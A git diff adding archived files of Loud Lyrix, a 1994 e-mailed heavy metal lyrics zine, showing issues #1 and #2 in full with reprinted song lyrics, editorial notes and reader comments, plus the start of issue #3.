Loud Lyrix Issue #11 (May 31, 1994) +loud.lyrix-12 25184
Loud Lyrix Issue #12 (June 21, 1994) +loud.lyrix-13 50061
Loud Lyrix Issue #13 (June 28, 1994) +loud.lyrix-14 22705
Loud Lyrix Issue #14 (July 6, 1994) +loud.lyrix-15 36238
Loud Lyrix Issue #15 (July 12, 1994) +loud.lyrix-16 24836
Loud Lyrix Issue #16 (July 19, 1994) +loud.lyrix-18 28496
Loud Lyrix Issue #18 (August 2, 1994) +loud.lyrix.ad 3853
Advertisement for Loud Lyrix Magazine +loud.lyrix.faq 7609
The Loud Lyrix FAQ (June 15, 1994) +loud.lyrix.index 8813
Loud Lyrix Back Issue Index +

There are 22 files for a total of 476,726 bytes.
\ No newline at end of file diff --git a/textfiles.com/magazines/LOUDLYRIX/MAYBE b/textfiles.com/magazines/LOUDLYRIX/MAYBE new file mode 100644 index 00000000..e69de29b diff --git a/textfiles.com/magazines/LOUDLYRIX/TRASH b/textfiles.com/magazines/LOUDLYRIX/TRASH new file mode 100644 index 00000000..e69de29b diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-01 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-01 new file mode 100644 index 00000000..bd3aa6fa --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-01 @@ -0,0 +1,451 @@ + .-. .--. .-..-..---. .-. .-..-..---. .-..-..-. + : : : ,. :: :: :: . : : : : :: :: .; :: :: `' : + : : : :: :: :: :: :: : : : `. .': .': : ` ' + : :__ : :; :: :; :: :; : : :__ .' ; : :.`.: :.' `. + :___.'`.__.'`.__.':___.' :___.':_,' :_;:_;:_;:_;:_; + + + Loud Lyrix, March 22, 1994, Issue # 1 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix will not be held responsible for the accuracy of the +lyrics and/or the song titles and/or the album titles and/or the specific +preformers of the songs contained herein. All songs are property of the +bands that perform them and/or their record labels. The lyrics contained +herein cannot be used for any purpose other than "private study, +scholarship, or research." If anyone makes use of a reprinted song for +purposes in excess of "fair use," that user may be liable for copyright +infringement. Loud Lyrix will not be held responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is just for sheer fun and pleasure of discovering the +lyrics to some songs, and we are not out to rip off any bands or put +different words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #1, 3/22/94 +----------------------- +Ok everyone, here it is at long last.... the first issue of Loud Lyrix! I +hope everyone is as excited as I am about this new 'zine.... I hope we +have a long life ahead of us, and that all you subscribers out there are +happy with the 'zine. + +Don't forget that we are always looking for new lyrics to put in the +'zine. If you have some song that you want to see in Loud Lyrix just type +it up, and send it over to me... I'll make sure that it get's into Loud +Lyrix as soon as possible, this 'zine can't survive without the help of +everyone... One other thing, the lyrics that we reprint in Loud Lyrix do +not have to be STRICTLY "Heavy Metal"... all forms of Hard Music are +welcome here, from Punk/Industrial to Grunge/Alternative to +Death/Grindcore. If you don't know whether a song is fit to be in the +'zine, just leave me a message, and I'll tell you if it's worth your time +typing it up. + +And don't forget to spread the word on Loud Lyrix! We are just starting +out, so we need all the subscribers we can get... tell all your cyber-pals +about us, if you want an advertising file to post around just tell me, and +I'll send it up to you. + +Okay, enough talking from me, it's time for some kewl lyrics... for this +week we have one reader submission, from Sean Warden +(swarde@unf6.cis.unf.edu), I hope some more people follow Sean's example. + +CONTENTS +-------- +Song 1: "Heavy Metal" by Judas Priest (good intro to our 'zine!) +Song 2: "Thunderkiss '65" by White Zombie +Song 3: "Walk" by Pantera +Song 4: "Expendable Youth" by Slayer +Song 5: "Hero" by Ministry +Song 6: "Slaughterama" by GWAR (contributed by Sean Warden) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* H E A V Y M E T A L *************************** + by J U D A S P R I E S T + Album: "Ram It Down" + + +When the power chords come crashing down go tearing through my senses +It's for the strong, not for the weak +In the light and dark dimension + +It stimulates, regenerates +It's therapeutic healing +It lifts our feet up off the ground +and blasts us through the ceiling + +Between the eyes +I hear it screaming +And it electrifies +Your inner feelings + +Hot shock waves charge the air +All heads are banging +Fists pumping everywhere +Guitars are cranking + +Heavy Metal, Heavy Metal +What do you want +Heavy Metal, Heavy Metal +What do you want + +Ten thousand lights come blazing down +With razor sharp precision +The speakers pour out molten steel +The beat gives double vision + +An armour plated raging beast +That's born of steel and leather +It will survive against all odds +Stampeding on forever + +Between the eyes +I hear it screaming +And it electrifies +Your inner feelings + +Hot shock waves charge the air +All heads are banging +Fists pumping everywhere +Guitars are cranking + +Heavy Metal, Heavy Metal +What do you want +Heavy Metal, Heavy Metal +What do you want + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** T H U N D E R K I S S ' 6 5 ********************** + by W H I T E Z O M B I E + Album: "La Sexorcisto: Devil Music Vol 1" + + +Well sweet little sista's high in hell cheat'n on a halo +Grind in a odyssey holocaust heart kick on tomorrow +Breakdown +Agony said "Ecstasy" in overdrive she come a riding on the world +Thunder kiss'n 1965 +Yeah, wow! Five, yeah, wow!! +Demon-warp is coming alive in 1965 +Five, five, yeah! +Livin' fast and dying young like a endless poetry +My motor-psycho nightmare freak out inside of me +My soul salvation liberation on the drive +The power of the blaster move me faster 1965 +Yeah, wow! Five, yeah, wow!! +Demon-warp is coming alive in 1965 +Five, five, yeah! +Gimme that, gimme that now, now, now, yeah! +Roll'n like a supersonic another fool that gets down on it +Pig sweat a million miles, I got a heart atomic style +I make it look easy, that's what I said +Blast of silence explodes in my head +Yeah, yeah, yeah, gimme that, gimme that now +Step to the moonshine frenzy hail: The Resurrection +What's new pussycat, can you dig the satisfaction +Well, you can't take it with you, but you can! In overdrive +Yeah! Some like it hot and twist'n, 1965 +Yeah, wow! Five, yeah, wow!! +Demon-warp is coming alive in 1965 +Five, five + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** W A L K ************************************ + by P A N T E R A + Album: "Vulgar Display of Power" + + +Can't you see I'm easily bothered by persistance +One step from lashing out at you... +You want in to get under my skin, and call yourself a friend. +I've got more friends like you what do I do? + +Pre: +Is there no standard anymore? +What it takes, who I am, where I've been, belong. +You can't be something you're not +Be yourself, by yourself, stay away from me. +A lesson learned in life, known from the dawn of time + +Chorus: +Respect, Walk + +Run your mouth when I'm not around, it's easy to achieve. +You cry to weak friends that sympathize. +Can you hear the violins playing your song? +Those same friends tell me your every word + +(Pre) +(Chorus) + +Are you talking to me? +No way punk. + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************* E X P E N A B L E Y O U T H *********************** + by S L A Y E R + Album: "Season's in the Abyss" + + +Gun down cold on a raw deal +Home turf, my battlefield +In no one's way, caught in a crossfire +Stray bullets can KILL !! + +Chorus: + Expenable Youth + Fighting for possesion + Having control... a principle obsession + Rivalry and retribution + Death! The only solution!! + +Injured soul lies on the ground +Head blown off... face down +Lying in a blood of blood +An accidental death, homocide! + +Chorus + +Struggling to survive +The drug induced warfare +To have control.. and principal obsession +Expenable youth... fighting for possesion +Violence is ONLY a friend + +Expenable youth +Fight for possesion +To have control... a principal obsession +Rivalry and retribution +Death! The only solution!!! + +*************************** T H E E N D ******************************* +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************* H E R O ********************************** + by M I N I S T R Y + Album: "Psalm 69: The Way to Succeed, and the Way to Suck Eggs" + + +They get you ready to fight +The fuse is ready to blow +You shoot to kill on sight +They call you G.I. JOE +You never wanted to stop +The smell of burning flesh +The hero marches alone +Across the highway of death + +It's not a matter of rights +It's just a matter of war +Don't have a reason to fight +They never had one before +You're just a killing machine +He's come to take you down +We take the gas that we need +And pump the blood on the ground + +They're gonna set you up +So they can take you down +They're gonna suck you dry +They've left the blood to be found +They're gonna rip you apart +You're gonna burn at the stake +Cuz when it's time to collect +It's only heroes who pay + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** S L A U G H T E R A M A *************************** + by G W A R + Album: "Scumdogs of the Universe" + + +With a battle-cry go forth +Which is "give the people what they want" +And what the people want could only be the senseless slaughter +of the gutter-slime which litters this nation for cash and prizes + +Yes, this is the show where people bet their lives to win something big +'Cause when your life is shit, then you haven't got much to lose +On Slaughterama... + +This next geek is guilty of the following: +A grateful dead life in which he's been wallowing +Tried to tell us, "Give peace a chance" +Met the National Guard and you shit in your pants +It's not your imagination, it's not a bad tripping +Yes, that's it: it's a big, smelly hippy + +Hello Mr. Hippy, nice to meet ya' +Hey, you got a little shit between your toes +So, how are things at the ol' manure factory? +How's little Tofu? +What, she grew another head? +Well, ya gotta lay off that LSD, ya know +Kinda makes your offspring goofy looking + +So, how do you hide money from a hippy? +Put it under the soap! + +I'm sorry, but that answer wasn't in time +You're gonna have to put your mouth on this +Oh, I blew your head clean off +Good thing I was such an expert shot +With the National Guard back at Kent State +I bagged four that day +There's nothing like hippy hunting +My dad always used to take me along with Lee Harvey Oswald + +All right, we're rockin' now! + +World's highest hair, world's tightest pants +Got no circulation but you still can dance +Fashion is a statement, sometimes a risk +Every fashion had it's faults but yours is the pits +Always in black, looks like he's dead +Here's the Art Fag lying on his death beg + +Hello, Mr. Art Fag, c'mon out here +Say, whatta hair do +Why it's awfully big +As big as the...the...the Hindenburg +And it'd probably go up just as fast if I put this lighter to it +But no, I'm gonna' hold out and ask you this question + +What ever happened to Eddie Munster? +I'm lookin' at him! + +Oh, Oderus, help the boy with his hairdo, there +Ooo! It's getting ripped off! +Ow! Ya' know that's gotta hurt! +What on the other side of his face? +Is that a facelift? +Whoa! He's torn that face clean off! +Aaaaaaaaaaaaaaaaa +Help that sod outta' here + +Gave up pussy, stopped doing toot +Now ya' can't wait to kiss him on the boot +Elbows and knuckles all you know how +Follow the herd, just another cow +Brain full of shit, boots full of lead +Straight from Hitler's ass, it's the Nazi skin-head + +Hello, Mr. Nazi Skin-head, how ya' doin' +How's Geraldo's nose? Still broken? +Well, it's good to see you're still on the job. +You know, when you're mugging talk-show commentators in bathrooms +Always remember to draw the swastikas turning to the right +Not to the left, always to the right. + +Hey, why do Nazi skin-heads wear red suspenders anyways? +He doesn't have to tell you! + +Time to give this Nazi skin-head one more haircut +Real close to the shoulders like +Whoa! His head's been decapitated +Look at all that P.S.I. in his aorta artery +Whoa! Is he a gusher or what? +A-ha-ha-ha-ha-ha-ha-ha-ha + +Well everybody, that's all for this week +We've killed everybody that's worth killing +Hope you do the same +We'll be back next week with another edition of + +Slaughterama, Slaughterama, Slaughterama +It's a drama +Slaughterama, Slaughterama, Slaughterama +It's a drama, yeah! + +It's called existentialists, man +It's for the people who just don't care +Don't feel sorry for them +They've chosen their own path in life + +**************************** T H E E N D ******************************** + +Typed by: +--------- +Sean Warden | ___ ___ +Future Electrical Engineer/Particle Physicist | | | / | "It's not a +University of North Florida | ( ) |< ( ) frat, it's an +Internet: swarde@unf6.cis.unf.edu | _|_ | \ _|_ honor society!" +----------------------------------------------|------------------------------ +Apple IIgs & TransWarp forever | "Drive Offensively; the life +FSU: 1993 UNDISPUTED National Champions | you save may be your own." +----------------------------------------------------------------------------- + Finger my account for FSU Seminole stats and scores! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Ok everyone, that's the end to the first issue of Loud Lyrix, we'll be +back next Tuesday, with Loud Lyrix #2. + +Don't forget to send in your submissions for the next issue, and also, +send in any comments on the songs reprinted in this issue, if we have +enough, they'll be included in the next issue. + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #1 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-02 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-02 new file mode 100644 index 00000000..0da9db57 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-02 @@ -0,0 +1,572 @@ + + _ ____ _ _ _____ _ __ _______ _______ __ + | | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / / + | | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V / + | | | | | | | | | | | | | | \ / | _ / | | > < + | |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \ + |______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\ + + + Loud Lyrix, March 29, 1994, Issue # 2 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #2, 3/29/94 +----------------------- + +Hello people! We're back with our second issue of Loud Lyrix. The first +issue went really well, and I'm glad you guys (the ones that wrote me!), +liked it. I hope you all enjoy this issue as much or more! This week we've +had some reader submissions, only the first three songs are from me, the +rest are from readers, plus a bonus song, "Reeking Breath", a parody of +Metallica's ever kewl "Creeping Death".... it's really funny, so I thought +I'd share it with the rest of you. I still have lots of work to do, +converting some lyrics I have to printable format, and checking their +spelling and everything, but don't fret, I'll get around to it sooner or +later. + +Many thanks to all our subscribers who have been spreading the word on +Loud Lyrix. As it stands right now, we have 79 subscribers. An amazing +number considering this is only our second issue. But we need more and more +people to spread the word, so if you know of some lists or newsgroups to +post our ad too, just tell me, and I'll send you an official copy of our ad +so you can post it. + +Comments and reactions are always welcomed, most, if not all the comments +I receive will be printed in an upcoming issue. Also, as always, SEND IN +LYRICS, if there is something you want to see, or some band that you think +we never print, then either send me the lyrics, or send a request, and +I'll do my best to find them. BTW, when you send in lyrics, make SURE that +you tell me who performs the song, which album it's from and especially +the title of the song. Also, tell me if it's a cover or not, and who the +original performers were. This is just common courtesy, because I don't +have time to hunt around, and find the information on a whole bunch of +miscellaneous songs. + +Ok everyone, here's Loud Lyrix #2. + +CONTENTS +-------- +Reader's Comments +Song 1: "Jailbreak" by AC/DC +Song 2: "Master of Puppets" by Metallica +Song 3: "Electric Eye" by Judas Priest +Song 4: "No Apology" by Believer (contributed by Phil Powell) +Song 5: "Face the Day" by The Angels (contributed by Alex Carranza) +Song 6: "Just One Fix" by Ministry (contributed by Cobalt Raven) +Song 7: "Time" by Pink Floyd (contributed by John Lopes) +Song 8: "Reeking Breath" by Crash (contributed by Arnold Mohammed) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** R E A D E R ' S C O M M E N T S ******************** + Compiled by Gino Filicetti + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Date: Wed, 23 Mar 94 20:19:16 -0500 +To: Gino Filicetti +From: "Richard Singer" +Subject: Re: Loud Lyrix #1 + +>********************* E X P E N A B L E Y O U T H *********************** +> by S L A Y E R +> Album: "Season's in the Abyss" + +Nah . . . Maybe this band just doesn't do it for me . . . The lyrics strike +me as pretentious, the song doesn't convey enough meaning to justify some +of the big language. It's just a matter of taste -- don't start a flame war +with me now :-) . . . + +>*********************** S L A U G H T E R A M A *************************** +> by G W A R +> Album: "Scumdogs of the Universe" +> + +I laughed at this in spite of myself . . . The black humor is reminiscent +of the Dead Boys. But when the Dead Boys sang "I'm gonna beat up the next +hippie I see" back in 1977, it was a little more fun, because the hippies +were putting out so much bad music and culture. But what's the point of +picking on a hippie these days? The targets of this song are too easy . . . +It's easy to poke fun at marginal types. Gwar's point may be that these +people choose to marginalize themselves, but the people in the mainstream +often are even worse. I guess I'm going on longer about this one because +Gwar shows a great comic talent . . . I just wish it were aimed at a better +place. (I like their grotesque puppet videos, though.) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** J A I L B R E A K ***************************** + by A C / D C + Album: "'74 Jailbreak" + + +There was a friend of mine on murder +And the judge's gavel fell, +Jury found him guilty, +Gave him sixteen years in hell. +He said "I ain't spending my life here, +I ain't living alone, +Ain't breaking no rocks on the chain gang, +I'm breakin' out and headin' home. + +Gonna make a Jailbreak +And I'm lookin' towards the sky, +I'm gonna make a Jailbreak, +Oh, how I wish that I could fly. + +All in the name of Liberty +All in the name of Liberty +Just set me free + +Jailbreak, let me out of here +Jailbreak, sixteen years, +Jailbreak, had more than I can take +Jailbreak, yeah." + +He said he'd seen his lady being fooled with +by another man. +She was down and he was up +He had a gun in his hand. +Bullets started flying everywhere +And people started to scream +Big man lying on the ground +With a hole in his body +Where his life had been +But it was + +All in the name of Liberty +All in the name of Liberty +I got to be free. + +Jailbreak, Jailbreak +I got to break out +Out of here. + +Heartbeats they were racin', +Freedom he was chasin', +Spotlights, sirens, rifles firing, +But he made it out +With a bullet in his back. + +**************************** T H E E N D ******************************** +Typed by: Lyrics archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** M A S T E R O F P U P P E T S ******************** + by M E T A L L I C A + Album: "Master of Puppets" + + +End of passion play, crumbling away +I'm your source of self-destruction +Veins that pump with fear, sucking darkest clear +Leading on your deaths' construction +Taste me you will see +More is all you need +You're dedicated to +How I'm killing you + + Come crawling faster + Obey your master + Your life burns faster + Obey your Master + Master + + Master of puppets I'm pulling your strings + Twisting your mind and smashing your dreams + Blinded by me, you can't see a thing + Just hear my name, 'cause I'll hear you scream + Master + Master + +Needlework the way, never you betray +Life of death becoming clearer +Pain monopoly, ritual misery +Chop your breakfast on a mirror +Taste me you will see +More is all you need +You're dedicated to +How I'm killing you + + Come crawling faster + Obey your Master + Your life burns faster + Obey your Master + Master + + Master of puppets I'm pulling your strings + Twisting your mind and smashing your dreams + Blinded by me, you can't see a thing + Just call my name, 'cause I'll hear you scream + Master + Master + Just call my name, 'cause I'll hear you scream + Master + Master + +Master, Master, where's the dreams that I've been after? +Master, Master, you promised only lies +Laughter, laughter, all I hear or see is laughter +Laughter, laughter, laughing at my cries + +Hell is worth all that, natural habitat +Just a rhyme without a reason +Never ending maze, drift on numbered days +Now your life is out of season +I will occupy +I will help you die +I will run through you +Now I rule you too + + Come crawling faster + Obey your Master + Your life burns faster + Obey your Master + Master + + Master of puppets I'm pulling your strings + Twisting your mind and smashing your dreams + Blinded by me, you can't see a thing + Just call my name, 'cause I'll hear you scream + Master + Master + Just call my name, 'cause I'll hear you scream + Master + Master + +*************************** T H E E N D ********************************* +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ E L E C T R I C E Y E ************************** + by J U D A S P R I E S T + Album: "Screaming for Vengeance" + + +Up here in space +I'm looking down on you. +My lasers trace +Everything you do. + +You think you've private lives +Think nothing of the kind. +There is no true escape +I'm watching all the time. + +I'm made of metal +My circuits gleam. +I am perpetual +I keep the country clean. + +I'm elected electric spy +I protected electric eye. + +Always in focus +You can't feel my stare. +I zoom into you +You don't know I'm there. +I take a pride in probing all your secret moves +My tearless retina takes pictures that can prove. + +Electric eye, in the sky +Feel my stare, always there +There's nothing you can do about it. +Develop and expose +I feed upon your every thought +And so my power grows. + +Protected. Detective. Electric eye. + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************************** N O A P O L O G Y *************************** + by B E L I E V E R + Album: "Dimensions" + + +No more will I regress backward, +from that which I believe. +I owe no mann an explanation, +expect no apology. + +Logic defends age old prophecies, +Christ's life, death and +resurrection, +proof of absolute deity, +expect no apology. + +Not one regret +impenitent + +No more will I regress backward +from which I believe +I owe no man an explanation +expect no apology. + +Not one regret +impenitent + +**************************** T H E E N D ******************************** +Typed by: Phil Powell + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +This song is "Face The Day" by The Angels (an aussie metal band). You may +be more familiar with the Great White version, which was after all, their +first big hit. Here's the original, which really kicks twice as much ass as +the GW cover did. -- Alex Carranza + +*********************** F A C E T H E D A Y *************************** + by T H E A N G E L S + Album: "Dark Room" + + +I don't wanna face the day, the day, today +I don't wanna face the day, the day, today + +Long night leaves me stranded +Black visions, danger signs +No love, need protection +Feels like I'm on production line +Daggers of dawn, cold hearted-day +Why does it have to be morning? +Cover my head, stayin' in bed +Too late, the luckless warning + +I don't wanna face the day, the day, today +I don't wanna face the day, the day, today + +Outside, screaming city +Red lights and hungry eyes +Sucks like a space invader +The vacuum of its lies +Stealing my strength, stealing my time +It's reigning in a world of traitors + +I don't wanna face the day +I don't wanna face the day + +Let me keep on sleeping +Forget that I'm alone +One day of faceless living +Is 24 hours too long! + +I don't wanna face the day +I don't wanna face the day + +I don't wanna face the day, the day, today +I don't wanna face the day, the day, today + +Give the night, it's more forgiving +Hold back the light from my eyes +Please stay invisible darkness +Can't see the tears I cry +I know it's coming loaded with nothing +Trapped in a tunnel of time + +I don't wanna face the day (repeats to end) + +**************************** T H E E N D ******************************** +Typed by: +--------- +Alex Carranza +University of Nevada, Las Vegas. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* J U S T O N E F I X ************************* + by M I N I S T R Y + Album: "Psalm 69: The Way to Succeed, and the Way to Suck Eggs" + + +Blood keeps drinking away +Certain of its destination +Driving through New Orleans at night +Gotta find a destination + +Just one fix + +Life keeps slipping away +Fighting in a war with damnation +Poised, keep cutting away +I'm looking in through to salvation + +Just one fix + +Like if I boarded a train +Trying to take in another station +Join us and the choice will be made +Unless we kill the lie as a nation + +Just one fix + +**************************** T H E E N D ******************************** +Typed by: Cobalt Raven + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************************* T I M E ********************************* + by P I N K F L O Y D + Album: "Dark Side of the Moon" + + +Ticking away the moments that make up a dull day +You fritter and waste the hours in a off hand way +Kicking around on a piece of ground in your home town +Waiting for someone or something to show you the way + +Tired of flying in the sunshine staying home to watch the rain +You are young and life is long and there is time to kill today +And then one day you find ten years have got behind you +No one told you when to run, you missed the starting gun + +And you run and you run to catch up with the Sun +But it's sinking and racing around to come up behind you again +The Sun is the same in the relative way, but you're older +And shorter of breath and one day closer to death + +Every year is getting shorter, never seem to find the time +Plans that either come to naught or half a page of scribbled lines +Hanging on in quiet desperation is the English way +The time is gone the song is over, thought i'd something more to say + +**************************** T H E E N D ******************************** +Typed by: +--------- +John Lopes + + AKA: Gun Runner + AKA: Sneaky DEE + AKA: MeLLow SiD + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************* R E E K I N G B R E A T H ************************* + by C R A S H + Album: "{None}" + Parody of Metallica's "Creeping Death" + + +-Intro. riffs + +WAKE! Wanna hide my face beneath the covers! +STENCH! Can't believe last night how close we were! +PASTE! Coating both our mouths like insulation! +KISS? Are you kidding me? You'd best be sure! + +So gimme some mouthwash! +So gimme some gum! +Or even a swig of last night's rum! +So gimme the Colgate +Or you'd better run! +My mouth's a phaser set on stun! - UGH! It's reeking breath!! + + +TALK? Cannot say a word, plants are dying! +SNEEZE? I sure hope we don't, eyes'll burn! +EAT! Any fucking thing you get your hands on! +PLEASE! Just don't look at me, I won't turn! + +So gimme some mouthwash! +So gimme some gum! +Or even a swig of last night's rum! +So gimme the colgate +Or you'd better run! +My mouth's a phaser set on stun! - HELP! It's reeking breath!! + +-listen ta Kirk Hamster! -> chanting part + +HIDE! From this reek! +Feels like it's been a week since I've brushed my teeth! + +HIDE! From this reek! +Feels like it's been a week since I've brushed my teeth! + +I! Just can't bear with this abomination! +CALL! The exterminator or EPA! +RAID! If I could get this stuff into a spray can +BUGS! Fuckers sure would run to get away...Yeaheeyeah!!! + +So gimme some mouthwash +So gimme some gum! +Or even a swig of last night's rum! +So gimme the colgate +Or you'd better run! +My mouth's a phaser set on stun! - OOOOOH! It's reeking BREEE-eeye-eeye- + eeyeeeyeye-EATH!! + +-end licks and riff + +**************************** T H E E N D ******************************** +Typed by: Mr. Bag ("Crash") +Sent in by: Arnold Mohammed + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +... And this concludes our second issue of Loud Lyrix. Take care everyone, +and don't do anything that I WOULD do. :) + +C-ya! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #2 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-03 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-03 new file mode 100644 index 00000000..7dc68e20 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-03 @@ -0,0 +1,556 @@ + + .____ ________ ____ ___________ + | | \_____ \ | | \______ \ + | | / | \| | /| | \ + | |___/ | \ | / | ` \ + |_______ \_______ /______/ /_______ / + \/ \/ \/ + .____ _____.___.__________._______ ___ + | | \__ | |\______ \ \ \/ / + | | / | | | _/ |\ / + | |___ \____ | | | \ |/ \ + |_______ \/ ______| |____|_ /___/___/\ \ + \/\/ \/ \_/ + + + Loud Lyrix, April 5, 1994, Issue # 3 + + +Addresses +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +FTP: None +Gopher: None +Usenet: None + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) 